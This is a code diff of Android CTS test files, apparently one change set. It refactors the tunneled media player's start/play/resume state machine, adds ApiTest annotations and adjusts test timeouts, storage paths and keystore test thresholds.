diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
index ebbfd30..ceb9835 100644
--- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java
@@ -37,11 +37,14 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"})
@RunWith(AndroidJUnit4.class)
@SmallTest
public class DataSpaceTest {
@@ -196,9 +199,10 @@
}
}
+ @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"})
@UiThreadTest
@Test
- public void getDataSpaceWithFormatYUV420_888() {
+ public void getDataSpaceWithFormatYV12() {
mTex = new int[1];
glGenTextures(1, mTex, 0);
@@ -208,7 +212,7 @@
mSurface = new Surface(mSurfaceTexture);
mWriter = new ImageWriter.Builder(mSurface)
- .setImageFormat(ImageFormat.YUV_420_888)
+ .setImageFormat(ImageFormat.YV12)
.build();
Image inputImage = null;
@@ -218,7 +222,7 @@
mSurfaceTexture.updateTexImage();
- // test default dataspace value of ImageFormat.YUV_420_888 format.
+ // test default dataspace value of ImageFormat.YV12 format.
assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace());
} finally {
if (inputImage != null) {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
index 7dae1d1..a12730c 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/KeyboardLayoutChangeTest.java
@@ -26,6 +26,9 @@
import static org.mockito.Mockito.timeout;
import android.Manifest;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
import android.hardware.cts.R;
import android.hardware.input.InputManager;
import android.os.Handler;
@@ -36,6 +39,7 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.SystemUtil;
import org.junit.Test;
@@ -44,6 +48,7 @@
import org.mockito.Mock;
import org.mockito.MockitoAnnotations;
+@ApiTest(apis = {"android.view.InputDevice#getKeyCodeForKeyLocation"})
@SmallTest
@RunWith(AndroidJUnit4.class)
public class KeyboardLayoutChangeTest extends InputHidTestCase {
@@ -201,4 +206,11 @@
timeout(KEYBOARD_LAYOUT_CHANGE_TIMEOUT)).onInputDeviceChanged(
eq(device.getId()));
}
+
+ public static class CtsKeyboardLayoutProvider extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ // Nothing to do at this time.
+ }
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
index 7bd7b46..89b4073 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/VirtualTouchscreenTest.java
@@ -73,14 +73,12 @@
.build());
// Convert the input axis size to its equivalent fraction of the total screen.
final float computedSize = inputSize / (DISPLAY_WIDTH - 1f);
- // TODO(b/216638606): Investigate why a ACTION_HOVER_ENTER event is produced
+
verifyEvents(Arrays.asList(
createMotionEvent(MotionEvent.ACTION_DOWN, /* x= */ x, /* y= */ y,
/* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize),
createMotionEvent(MotionEvent.ACTION_UP, /* x= */ x, /* y= */ y,
- /* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize),
- createMotionEvent(MotionEvent.ACTION_HOVER_ENTER, /* x= */ 0f, /* y= */ 0f,
- /* pressure= */ 0f, /* size= */ 0f, /* axisSize= */ 0f)));
+ /* pressure= */ 1f, /* size= */ computedSize, /* axisSize= */ inputSize)));
}
private MotionEvent createMotionEvent(int action, float x, float y, float pressure, float size,
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 7943538..56dd1b0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -2113,7 +2113,7 @@
Signature.getInstance("NONEwithECDSA").initVerify(publicKey);
}
- private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
+ private static final int MIN_SUPPORTED_KEY_COUNT = 1200;
private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION = Duration.ofMinutes(4);
private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH
= Duration.ofMinutes(6);
diff --git a/tests/tests/media/audio/AndroidTest.xml b/tests/tests/media/audio/AndroidTest.xml
index a586ae1..26210bd 100644
--- a/tests/tests/media/audio/AndroidTest.xml
+++ b/tests/tests/media/audio/AndroidTest.xml
@@ -35,8 +35,8 @@
<option name="package" value="android.media.audio.cts" />
<!-- setup can be expensive so limit the number of shards -->
<option name="ajur-max-shard" value="5" />
- <!-- test-timeout unit is ms, value = 120 min -->
- <option name="test-timeout" value="7200000" />
+ <!-- test-timeout unit is ms, value = 240 min -->
+ <option name="test-timeout" value="14400000" />
<option name="runtime-hint" value="1h" />
<option name="exclude-annotation" value="org.junit.Ignore" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
index 848d74c..c273a18 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -808,7 +808,7 @@
}
private MediaRecorder allocMediaRecorder() throws Exception {
- final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ final String outputPath = new File(mContext.getExternalFilesDir(null),
"record.out").getAbsolutePath();
mOutFile = new File(outputPath);
MediaRecorder mediaRecorder = new MediaRecorder();
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
index ce2b7ed..a2f5d2b 100644
--- a/tests/tests/media/codec/AndroidTest.xml
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaCodecTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaCodecTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.codec.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
index 3bd9db6..663ee1a 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
@@ -308,8 +308,8 @@
new IntentFilter(ACTION_LOW_PRIORITY_SERVICE_READY));
Intent intent = new Intent(context, MediaCodecResourceTestLowPriorityService.class);
context.startForegroundService(intent);
- // Starting the service and receiving the broadcast should take less than 1 second
- ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+ // Starting the service and receiving the broadcast should take less than 5 seconds
+ ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
context.unregisterReceiver(processInfoBroadcastReceiver);
return processInfo;
}
@@ -323,8 +323,8 @@
Intent intent = new Intent(context, MediaCodecResourceTestHighPriorityActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
context.startActivity(intent);
- // Starting the activity and receiving the broadcast should take less than 1 second
- ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+ // Starting the activity and receiving the broadcast should take less than 5 seconds
+ ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
context.unregisterReceiver(processInfoBroadcastReceiver);
return processInfo;
}
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
index 13e56f8..4aa9db4 100644
--- a/tests/tests/media/common/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -169,13 +169,15 @@
}
}
- public void start() {
+ public void startCodec() {
mCodec.start();
mCodecInputBuffers = mCodec.getInputBuffers();
if (!mIsTunneled || mIsAudio) {
mCodecOutputBuffers = mCodec.getOutputBuffers();
}
+ }
+ public void play() {
if (mAudioTrack != null) {
mAudioTrack.play();
}
@@ -358,7 +360,7 @@
return null;
}
- if (mIsTunneled && !mIsAudio) {
+ if (mIsTunneled) {
if (mFirstSampleTimeUs == -1) {
mFirstSampleTimeUs = sampleTime;
}
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
index 5e4df7f..888cf23 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
@@ -487,11 +487,13 @@
}
for (CodecState state : mVideoCodecStates.values()) {
- state.start();
+ state.startCodec();
+ state.play();
}
for (CodecState state : mAudioCodecStates.values()) {
- state.start();
+ state.startCodec();
+ state.play();
}
mDeltaTimeUs = -1;
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
index 0b495dd..879f561 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -44,11 +44,13 @@
/** State the player starts in, before configuration. */
private static final int STATE_IDLE = 1;
/** State of the player during initial configuration. */
- private static final int STATE_PREPARING = 2;
+ private static final int STATE_PREPARED = 2;
+ /** State of the player after starting the codecs */
+ private static final int STATE_STARTED = 3;
/** State of the player during playback. */
- private static final int STATE_PLAYING = 3;
- /** State of the player when configured but not playing. */
- private static final int STATE_PAUSED = 4;
+ private static final int STATE_PLAYING = 4;
+ /** State of the player when playback is paused. */
+ private static final int STATE_PAUSED = 5;
private Boolean mThreadStarted = false;
private byte[] mSessionId;
@@ -194,7 +196,12 @@
return true;
}
+ // Creates the extractors, identifies tracks and formats, and then calls MediaCodec.configure
public boolean prepare() throws IOException {
+ if (mState != STATE_IDLE) {
+ throw new IllegalStateException("Expected STATE_IDLE, got " + mState);
+ }
+
if (null == mAudioExtractor) {
mAudioExtractor = new MediaExtractor();
if (null == mAudioExtractor) {
@@ -237,9 +244,7 @@
return false;
}
- synchronized (mState) {
- mState = STATE_PAUSED;
- }
+ mState = STATE_PREPARED;
return true;
}
@@ -306,70 +311,56 @@
return format.containsKey(key) ? format.getInteger(key) : 0;
}
- public boolean start() {
+ // Calls MediaCodec.start
+ public void startCodec() {
Log.d(TAG, "start");
- synchronized (mState) {
- if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
- return true;
- } else if (mState == STATE_IDLE) {
- mState = STATE_PREPARING;
- return true;
- } else if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
-
- for (CodecState state : mVideoCodecStates.values()) {
- state.start();
- }
-
- for (CodecState state : mAudioCodecStates.values()) {
- state.start();
- }
-
- mDeltaTimeUs = -1;
- mState = STATE_PLAYING;
+ if (mState != STATE_PREPARED) {
+ throw new IllegalStateException("Expected STATE_PREAPRED, got " + mState);
}
- return false;
+
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.startCodec();
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.startCodec();
+ }
+
+ mDeltaTimeUs = -1;
+ mState = STATE_STARTED;
}
- public void startWork() throws IOException, Exception {
- try {
- // Just change state from STATE_IDLE to STATE_PREPARING.
- start();
- // Extract media information from uri asset, and change state to STATE_PAUSED.
- prepare();
- // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING.
- start();
- } catch (IOException e) {
- throw e;
+ // Starts the decoding threads and then starts AudioTrack playback
+ public void play() {
+ if (mState != STATE_STARTED) {
+ throw new IllegalStateException("Expected STATE_STARTED, got " + mState);
}
+ mState = STATE_PLAYING;
synchronized (mThreadStarted) {
mThreadStarted = true;
mThread.start();
}
- }
- public void startThread() {
- start();
- synchronized (mThreadStarted) {
- mThreadStarted = true;
- mThread.start();
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.play();
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.play();
}
}
- // Pauses the audio track
+ // Pauses playback by pausing the AudioTrack
public void pause() {
Log.d(TAG, "pause");
- synchronized (mState) {
- if (mState == STATE_PAUSED) {
- return;
- } else if (mState != STATE_PLAYING) {
- throw new IllegalStateException();
- }
+ if (mState != STATE_PLAYING) {
+ throw new IllegalStateException("Expected STATE_PLAYING, got " + mState);
+ }
+ synchronized (mState) {
for (CodecState state : mVideoCodecStates.values()) {
state.pause();
}
@@ -382,43 +373,60 @@
}
}
- public void flush() {
- Log.d(TAG, "flush");
+ // Resume playback when paused
+ public void resume() {
+ Log.d(TAG, "resume");
+
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
synchronized (mState) {
- if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
- return;
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.play();
}
for (CodecState state : mAudioCodecStates.values()) {
- state.flush();
+ state.play();
}
- for (CodecState state : mVideoCodecStates.values()) {
- state.flush();
- }
+ mState = STATE_PLAYING;
}
}
- /** Seek all tracks to their very beginning.
+ public void flush() {
+ Log.d(TAG, "flush");
+
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.flush();
+ }
+
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.flush();
+ }
+ }
+
+ /** Seek all tracks to the first sample time.
*
* @param presentationTimeOffsetUs The offset for the presentation time to start at.
* @throws IllegalStateException if the player is not paused
*/
public void seekToBeginning(long presentationTimeOffsetUs) {
Log.d(TAG, "seekToBeginning");
- synchronized (mState) {
- if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
- for (CodecState state : mVideoCodecStates.values()) {
- state.seekToBeginning(presentationTimeOffsetUs);
- }
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.seekToBeginning(presentationTimeOffsetUs);
+ }
- for (CodecState state : mAudioCodecStates.values()) {
- state.seekToBeginning(presentationTimeOffsetUs);
- }
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.seekToBeginning(presentationTimeOffsetUs);
}
}
@@ -426,53 +434,50 @@
* Enables or disables looping. Should be called after {@link #prepare()}.
*/
public void setLoopEnabled(boolean enabled) {
- synchronized (mState) {
- if (mVideoCodecStates != null) {
- for (CodecState state : mVideoCodecStates.values()) {
- state.setLoopEnabled(enabled);
- }
- }
+ if (mState != STATE_PREPARED) {
+ throw new IllegalStateException("Expected STATE_PREPARED, got " + mState);
+ }
- if (mAudioCodecStates != null) {
- for (CodecState state : mAudioCodecStates.values()) {
- state.setLoopEnabled(enabled);
- }
- }
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.setLoopEnabled(enabled);
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.setLoopEnabled(enabled);
}
}
public void reset() {
- synchronized (mState) {
- if (mState == STATE_PLAYING) {
- pause();
- }
- if (mVideoCodecStates != null) {
- for (CodecState state : mVideoCodecStates.values()) {
- state.release();
- }
- mVideoCodecStates = null;
- }
-
- if (mAudioCodecStates != null) {
- for (CodecState state : mAudioCodecStates.values()) {
- state.release();
- }
- mAudioCodecStates = null;
- }
-
- if (mAudioExtractor != null) {
- mAudioExtractor.release();
- mAudioExtractor = null;
- }
-
- if (mVideoExtractor != null) {
- mVideoExtractor.release();
- mVideoExtractor = null;
- }
-
- mDurationUs = -1;
- mState = STATE_IDLE;
+ if (mState == STATE_PLAYING) {
+ pause();
}
+ if (mVideoCodecStates != null) {
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.release();
+ }
+ mVideoCodecStates = null;
+ }
+
+ if (mAudioCodecStates != null) {
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.release();
+ }
+ mAudioCodecStates = null;
+ }
+
+ if (mAudioExtractor != null) {
+ mAudioExtractor.release();
+ mAudioExtractor = null;
+ }
+
+ if (mVideoExtractor != null) {
+ mVideoExtractor.release();
+ mVideoExtractor = null;
+ }
+
+ mDurationUs = -1;
+ mState = STATE_IDLE;
+
synchronized (mThreadStarted) {
mThreadStarted = false;
}
@@ -607,6 +612,14 @@
return mVideoCodecStates.get(0).getVideoTimeUs();
}
+ public long getVideoSystemTimeNs() {
+ if (mVideoCodecStates == null || mVideoCodecStates.get(0) == null) {
+ return -1;
+ }
+ return mVideoCodecStates.get(0).getVideoTimeUs();
+
+ }
+
/**
* Returns the ordered list of video frame timestamps rendered in tunnel mode.
*
@@ -643,39 +656,23 @@
public Long queueOneVideoFrame() {
Log.d(TAG, "queueOneVideoFrame");
- if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
- return null;
+ if (mState != STATE_STARTED && mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STARTED or PAUSED, got " + mState);
}
Long result = null;
- for (CodecState state : mVideoCodecStates.values()) {
- Long timestamp = state.doSomeWork(true /* mustWait */);
- if (timestamp != null) {
- result = timestamp;
+ if (mVideoCodecStates != null) {
+ for (CodecState state : mVideoCodecStates.values()) {
+ Long timestamp = state.doSomeWork(true /* mustWait */);
+ if (timestamp != null) {
+ result = timestamp;
+ }
}
}
return result;
}
/**
- * Resume playback when paused.
- *
- * @throws IllegalStateException if playback is not paused or if there is no configured audio
- * track.
- */
- public void resume() {
- Log.d(TAG, "resume");
- if (mAudioTrackState == null) {
- throw new IllegalStateException("Resuming playback with no audio track");
- }
- if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
- mAudioTrackState.playAudioTrack();
- mState = STATE_PLAYING;
- }
-
- /**
* Configure video peek for the video codecs attached to the player.
*/
public void setVideoPeek(boolean enable) {
diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml
index c7d4550..55fe608 100644
--- a/tests/tests/media/decoder/AndroidTest.xml
+++ b/tests/tests/media/decoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaDecoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDecoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDecoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDecoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.decoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
index 145cfaf..c982376 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java
@@ -25,7 +25,6 @@
import android.content.Context;
import android.graphics.Bitmap;
import android.media.MediaFormat;
-import android.media.cts.MediaCodecTunneledPlayer;
import android.media.cts.MediaHeavyPresubmitTest;
import android.media.cts.TestArgs;
import android.os.Environment;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
index b97c903..d26c45f 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java
@@ -16,6 +16,7 @@
package android.media.decoder.cts;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
@@ -66,6 +67,7 @@
import com.android.compatibility.common.util.MediaUtils;
import org.junit.After;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Rule;
@@ -214,6 +216,8 @@
return false;
}
configureVideoFormat(mediaFormat, videoFormat);
+ Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat,
+ MediaUtils.supports(codecName, mediaFormat));
setRenderToSurface(surface != null);
return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat);
}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index a424edb..9926f04 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -73,6 +73,7 @@
import androidx.test.filters.SdkSuppress;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -124,10 +125,10 @@
private static final int CONFIG_MODE_NONE = 0;
private static final int CONFIG_MODE_QUEUE = 1;
- private static final int CODEC_ALL = 0; // All codecs must support
- private static final int CODEC_ANY = 1; // At least one codec must support
- private static final int CODEC_DEFAULT = 2; // Default codec must support
- private static final int CODEC_OPTIONAL = 3; // Codec support is optional
+ public static final int CODEC_ALL = 0; // All codecs must support
+ public static final int CODEC_ANY = 1; // At least one codec must support
+ public static final int CODEC_DEFAULT = 2; // Default codec must support
+ public static final int CODEC_OPTIONAL = 3; // Codec support is optional
short[] mMasterBuffer;
static final String mInpPrefix = WorkDir.getMediaDirString();
@@ -141,8 +142,6 @@
private DisplayManager mDisplayManager;
static final Map<String, String> sDefaultDecoders = new HashMap<>();
- private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
throws FileNotFoundException {
File inpFile = new File(mInpPrefix + res);
@@ -3884,11 +3883,10 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -3921,8 +3919,8 @@
/**
* Test tunneled video playback mode with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackHevc() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -3931,8 +3929,8 @@
/**
* Test tunneled video playback mode with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackAvc() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -3941,8 +3939,8 @@
/**
* Test tunneled video playback mode with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoPlaybackVp9() throws Exception {
tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
@@ -3966,11 +3964,10 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -3990,8 +3987,8 @@
/**
* Test tunneled video playback flush with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushHevc() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4000,8 +3997,8 @@
/**
* Test tunneled video playback flush with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushAvc() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4010,23 +4007,19 @@
/**
* Test tunneled video playback flush with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledVideoFlushVp9() throws Exception {
testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
/**
- * Test tunneled video peek renders the first frame when on
+ * Test that the first frame is rendered when video peek is on in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
private void testTunneledVideoPeekOn(String mimeType, String videoName) throws Exception {
- if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOn requires Android 12")) {
- return;
- }
-
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4040,9 +4033,8 @@
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
- mMediaCodecPlayer.start();
+ mMediaCodecPlayer.startCodec();
mMediaCodecPlayer.setVideoPeek(true); // Enable video peek
// Assert that onFirstTunnelFrameReady is called
@@ -4061,30 +4053,30 @@
}
/**
- * Test tunneled video peek with HEVC renders the first frame when on
